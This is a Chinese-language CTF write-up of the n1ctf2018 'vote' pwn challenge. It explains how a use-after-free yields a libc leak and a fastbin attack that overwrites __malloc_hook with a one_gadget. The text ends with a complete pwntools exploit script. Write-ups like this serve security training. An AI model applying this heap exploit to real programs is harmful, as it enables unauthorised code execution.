n1ctf2018 vote解题

前言

旧题重做,最近更新的有点慢。做的是n1ctf2018中的vote题目。

程序保护


常规保护,开启了nx和canary。

程序功能


常规菜单题,有五个功能,create,vote,result,canel,show。事实上我只用了create,show和canel。剩下的功能没有用。

create功能。创建不超过4096大小的堆块。堆块的前16个字节不能写入。前8个字节用来vote,result功能.后八个字节保存当前时间

show功能。将堆块内容输出。

vote功能。将堆块第一个dword值+1.将当前时间写入后八个字节。然后将一个数组的对应索引的值+1。

result功能。将数组中每个索引对应的值输出。

canel功能。漏洞函数。存在uaf漏洞

信息泄露

由于堆的前16个字节会在创建时被修改。通过uaf漏洞+unsorted chunk泄露出libc地址。题目给了libc程序。所以直接可以求出基址。

漏洞利用

题目的难点设置在堆的前16个字节不可控.由于程序存在uaf漏洞及堆的大小可控。于是可以使用fastbin attack。难点在于如何修改free后chunk的fd指针。

先伪造两个uaf指针。通过一个malloc后伪造两个指针一个为0x201,一个为0x71.使上面的伪造堆块包含下面的fast chunk。
伪造完成后,free a,free b.
再申请一个大小满足0x200的堆块就会将伪造堆块从unsorted bin中拆除下来。就可以修改free后chunk的fd指针。
通过将malloc_hook修改为one_gadget。利用成功。

脚本

from pwn import *
p=process(['./vote'],env={'LD_PRELOAD':'./libc-2.23.so'})
e=ELF('./libc-2.23.so')
def create(a,b):
    p.writeline('0')
    p.readuntil('Please enter the name\'s size:')
    p.writeline(str(a))
    p.readuntil('Please enter the name:')
    p.writeline(b)
    p.readuntil('Action:')
def dele(a):
    p.writeline('4')
    p.readuntil('Please enter the index:')
    p.writeline(str(a))
    p.readuntil('Action:')
context(log_level='debug')
create(128,'123')
create(128,'123')
create(128,'123')
dele(0)

p.writeline('1')
p.readuntil('Please enter the index:')
p.writeline('0')
p.readuntil('count: ')
base=int(p.readuntil('\n')[:-1],10)
libc=base-0x3C4B78
malloc_hook=libc+e.symbols['__malloc_hook']
print hex(base)
dele(1)
dele(2)
create(0x500,chr(0)*0x88+p64(0x201)+chr(0)*0x98+p64(0x71)+chr(0)*0x68+p64(0xf1)+chr(0)*0xe8+p64(0x281))
dele(1)
dele(2)
create(0x1e0,chr(0)*0x88+p64(0x71)+p64(malloc_hook-0x23))
create(0x50,'aaaaa')
create(0x50,'aaa'+p64(libc+0xf1117))
p.interactive()